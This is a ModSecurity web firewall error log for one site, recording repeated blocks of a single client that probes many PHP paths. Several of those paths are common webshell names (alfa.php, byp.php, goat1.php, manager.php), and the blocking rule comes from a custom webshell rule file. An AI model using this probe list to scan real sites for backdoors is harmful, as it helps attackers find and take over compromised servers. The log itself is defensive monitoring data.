[Thu Dec 25 21:40:50.881338 2025] [:error] [pid 22044:tid 22087] [client 4.193.224.251:11226] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aU0-4nPTC5rQKTB0FQ-TEQAAAMw"]
[Thu Dec 25 21:40:51.491876 2025] [:error] [pid 27869:tid 27888] [client 4.193.224.251:11164] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aU0-4xNK7_n86kBD7qfNAgAAAJE"]
[Thu Dec 25 21:40:52.407077 2025] [:error] [pid 22044:tid 22083] [client 4.193.224.251:16844] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aU0-5HPTC5rQKTB0FQ-TFgAAAMg"]
[Thu Dec 25 21:40:53.215514 2025] [:error] [pid 22044:tid 22078] [client 4.193.224.251:16820] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aU0-5XPTC5rQKTB0FQ-TGgAAAMM"]
[Thu Dec 25 21:40:54.804862 2025] [:error] [pid 27869:tid 27873] [client 4.193.224.251:11187] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aU0-5hNK7_n86kBD7qfNCQAAAII"]
[Thu Dec 25 21:40:56.335880 2025] [:error] [pid 22045:tid 22117] [client 4.193.224.251:11210] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aU0-6KsGGmXjDnvlmHtktgAAAU8"]
[Thu Dec 25 21:40:57.387927 2025] [:error] [pid 27869:tid 27881] [client 4.193.224.251:11249] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aU0-6RNK7_n86kBD7qfNFAAAAIo"]
[Thu Dec 25 21:40:58.405565 2025] [:error] [pid 22045:tid 22106] [client 4.193.224.251:16886] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aU0-6qsGGmXjDnvlmHtkvAAAAUQ"]
[Thu Dec 25 21:40:59.235944 2025] [:error] [pid 22131:tid 22136] [client 4.193.224.251:11231] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aU0-65vVMtSTB4lX2fYr7AAAAEM"]
[Thu Dec 25 21:41:00.414302 2025] [:error] [pid 22131:tid 22156] [client 4.193.224.251:16810] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aU0-7JvVMtSTB4lX2fYr8AAAAFQ"]
[Thu Dec 25 21:41:01.093908 2025] [:error] [pid 27869:tid 27878] [client 4.193.224.251:11079] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atom.php"] [unique_id "aU0-7RNK7_n86kBD7qfNHAAAAIc"]
[Thu Dec 25 21:41:02.431883 2025] [:error] [pid 22131:tid 22159] [client 4.193.224.251:11258] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atom.php"] [unique_id "aU0-7pvVMtSTB4lX2fYr9gAAAFc"]
[Thu Dec 25 21:41:03.351993 2025] [:error] [pid 22044:tid 22091] [client 4.193.224.251:11209] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atom.php"] [unique_id "aU0-73PTC5rQKTB0FQ-TLQAAANA"]
[Thu Dec 25 21:41:04.178137 2025] [:error] [pid 22045:tid 22102] [client 4.193.224.251:11142] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atom.php"] [unique_id "aU0-8KsGGmXjDnvlmHtkwgAAAUA"]
[Thu Dec 25 21:41:04.993160 2025] [:error] [pid 27869:tid 27887] [client 4.193.224.251:11241] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/case.php"] [unique_id "aU0-8BNK7_n86kBD7qfNJwAAAJA"]
[Thu Dec 25 21:41:05.946207 2025] [:error] [pid 22044:tid 22081] [client 4.193.224.251:16867] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/case.php"] [unique_id "aU0-8XPTC5rQKTB0FQ-TNwAAAMY"]
[Thu Dec 25 21:41:06.985925 2025] [:error] [pid 22044:tid 22079] [client 4.193.224.251:11155] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/case.php"] [unique_id "aU0-8nPTC5rQKTB0FQ-TPAAAAMQ"]
[Thu Dec 25 21:41:07.934290 2025] [:error] [pid 22131:tid 22149] [client 4.193.224.251:16799] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/case.php"] [unique_id "aU0-85vVMtSTB4lX2fYr-gAAAE4"]
[Thu Dec 25 21:41:08.728402 2025] [:error] [pid 22044:tid 22082] [client 4.193.224.251:11163] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "aU0-9HPTC5rQKTB0FQ-TRQAAAMc"]
[Thu Dec 25 21:41:09.303819 2025] [:error] [pid 27869:tid 27889] [client 4.193.224.251:11180] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "aU0-9RNK7_n86kBD7qfNMQAAAJI"]
[Thu Dec 25 21:41:10.201469 2025] [:error] [pid 27869:tid 27891] [client 4.193.224.251:11139] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "aU0-9hNK7_n86kBD7qfNNQAAAJQ"]
[Thu Dec 25 21:41:11.219526 2025] [:error] [pid 22043:tid 22056] [client 4.193.224.251:11146] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "aU0-9z4YVtlb2Iz_QE5JBwAAAAg"]
[Thu Dec 25 21:41:11.826337 2025] [:error] [pid 27869:tid 27885] [client 4.193.224.251:16892] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ios.php"] [unique_id "aU0-9xNK7_n86kBD7qfNPQAAAI4"]
[Thu Dec 25 21:41:12.431961 2025] [:error] [pid 22044:tid 22080] [client 4.193.224.251:11216] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ios.php"] [unique_id "aU0--HPTC5rQKTB0FQ-TWgAAAMU"]
[Thu Dec 25 21:41:13.204228 2025] [:error] [pid 22045:tid 22118] [client 4.193.224.251:11214] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ios.php"] [unique_id "aU0--asGGmXjDnvlmHtkyAAAAVA"]
[Thu Dec 25 21:41:13.863878 2025] [:error] [pid 22044:tid 22087] [client 4.193.224.251:11224] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ios.php"] [unique_id "aU0--XPTC5rQKTB0FQ-TXgAAAMw"]
[Thu Dec 25 21:41:14.634451 2025] [:error] [pid 27869:tid 27881] [client 4.193.224.251:11170] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aU0--hNK7_n86kBD7qfNQAAAAIo"]
[Thu Dec 25 21:41:15.569363 2025] [:error] [pid 22043:tid 22064] [client 4.193.224.251:11238] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aU0--z4YVtlb2Iz_QE5JEQAAABA"]
[Thu Dec 25 21:41:16.044658 2025] [:error] [pid 22043:tid 22063] [client 4.193.224.251:16809] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aU0-_D4YVtlb2Iz_QE5JEwAAAA8"]
[Thu Dec 25 21:41:16.615274 2025] [:error] [pid 22044:tid 22091] [client 4.193.224.251:11074] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aU0-_HPTC5rQKTB0FQ-TYgAAANA"]
[Thu Dec 25 21:41:17.087694 2025] [:error] [pid 27869:tid 27892] [client 4.193.224.251:11185] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU0-_RNK7_n86kBD7qfNQwAAAJU"]
[Thu Dec 25 21:41:17.801567 2025] [:error] [pid 22043:tid 22058] [client 4.193.224.251:16816] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU0-_T4YVtlb2Iz_QE5JGAAAAAo"]
[Thu Dec 25 21:41:19.046214 2025] [:error] [pid 22045:tid 22125] [client 4.193.224.251:11137] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU0-_6sGGmXjDnvlmHtkzQAAAVc"]
[Thu Dec 25 21:41:19.807707 2025] [:error] [pid 22043:tid 22052] [client 4.193.224.251:11193] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU0-_z4YVtlb2Iz_QE5JHAAAAAQ"]
[Thu Dec 25 21:41:20.285795 2025] [:error] [pid 22045:tid 22104] [client 4.193.224.251:11183] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU0_AKsGGmXjDnvlmHtk0AAAAUI"]
[Thu Dec 25 21:41:20.861349 2025] [:error] [pid 22045:tid 22123] [client 4.193.224.251:11259] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU0_AKsGGmXjDnvlmHtk1gAAAVU"]
[Thu Dec 25 21:41:21.315840 2025] [:error] [pid 27869:tid 27873] [client 4.193.224.251:11136] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU0_ARNK7_n86kBD7qfNSQAAAII"]
[Thu Dec 25 21:41:21.829693 2025] [:error] [pid 27869:tid 27887] [client 4.193.224.251:16836] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU0_ARNK7_n86kBD7qfNSgAAAJA"]
[Thu Dec 25 21:41:22.321509 2025] [:error] [pid 22131:tid 22144] [client 4.193.224.251:11232] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU0_ApvVMtSTB4lX2fYsDAAAAEo"]
[Thu Dec 25 21:41:22.908244 2025] [:error] [pid 27869:tid 27882] [client 4.193.224.251:11078] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU0_AhNK7_n86kBD7qfNTgAAAIs"]
[Thu Dec 25 21:41:23.406372 2025] [:error] [pid 22045:tid 22105] [client 4.193.224.251:11225] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU0_A6sGGmXjDnvlmHtk3wAAAUM"]
[Thu Dec 25 21:41:23.862570 2025] [:error] [pid 22044:tid 22080] [client 4.193.224.251:16860] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU0_A3PTC5rQKTB0FQ-ThAAAAMU"]
[Thu Dec 25 21:41:25.725012 2025] [:error] [pid 27869:tid 27871] [client 4.193.224.251:11192] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aU0_BRNK7_n86kBD7qfNVwAAAIA"]
[Thu Dec 25 21:41:27.193198 2025] [:error] [pid 22131:tid 22155] [client 4.193.224.251:11198] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aU0_B5vVMtSTB4lX2fYsFQAAAFM"]
[Thu Dec 25 21:41:27.934847 2025] [:error] [pid 22043:tid 22068] [client 4.193.224.251:11115] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aU0_Bz4YVtlb2Iz_QE5JMwAAABQ"]
[Thu Dec 25 21:41:28.680948 2025] [:error] [pid 27869:tid 27883] [client 4.193.224.251:11190] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aU0_CBNK7_n86kBD7qfNYgAAAIw"]
[Thu Dec 25 21:41:29.132755 2025] [:error] [pid 22044:tid 22087] [client 4.193.224.251:11014] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aU0_CXPTC5rQKTB0FQ-TlwAAAMw"]
[Thu Dec 25 21:41:29.871467 2025] [:error] [pid 22043:tid 22065] [client 4.193.224.251:11143] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aU0_CT4YVtlb2Iz_QE5JNgAAABE"]
[Thu Dec 25 21:41:30.777725 2025] [:error] [pid 22043:tid 22063] [client 4.193.224.251:11248] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aU0_Cj4YVtlb2Iz_QE5JNwAAAA8"]
[Thu Dec 25 21:41:31.666177 2025] [:error] [pid 22045:tid 22104] [client 4.193.224.251:11194] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aU0_C6sGGmXjDnvlmHtk4QAAAUI"]
[Thu Dec 25 21:41:32.334958 2025] [:error] [pid 27869:tid 27894] [client 4.193.224.251:11246] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aU0_DBNK7_n86kBD7qfNbQAAAJc"]
[Thu Dec 25 21:41:34.018630 2025] [:error] [pid 22131:tid 22140] [client 4.193.224.251:16837] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aU0_DpvVMtSTB4lX2fYsJgAAAEY"]
[Thu Dec 25 21:41:35.595144 2025] [:error] [pid 22131:tid 22148] [client 4.193.224.251:11083] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aU0_D5vVMtSTB4lX2fYsKgAAAE0"]
[Thu Dec 25 21:41:41.403926 2025] [:error] [pid 22131:tid 22157] [client 4.193.224.251:11182] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aU0_FZvVMtSTB4lX2fYsRQAAAFU"]
[Thu Dec 25 21:41:42.064128 2025] [:error] [pid 22043:tid 22058] [client 4.193.224.251:11186] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aU0_Fj4YVtlb2Iz_QE5JTAAAAAo"]
[Thu Dec 25 21:41:42.656615 2025] [:error] [pid 22043:tid 22060] [client 4.193.224.251:11208] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aU0_Fj4YVtlb2Iz_QE5JTQAAAAw"]
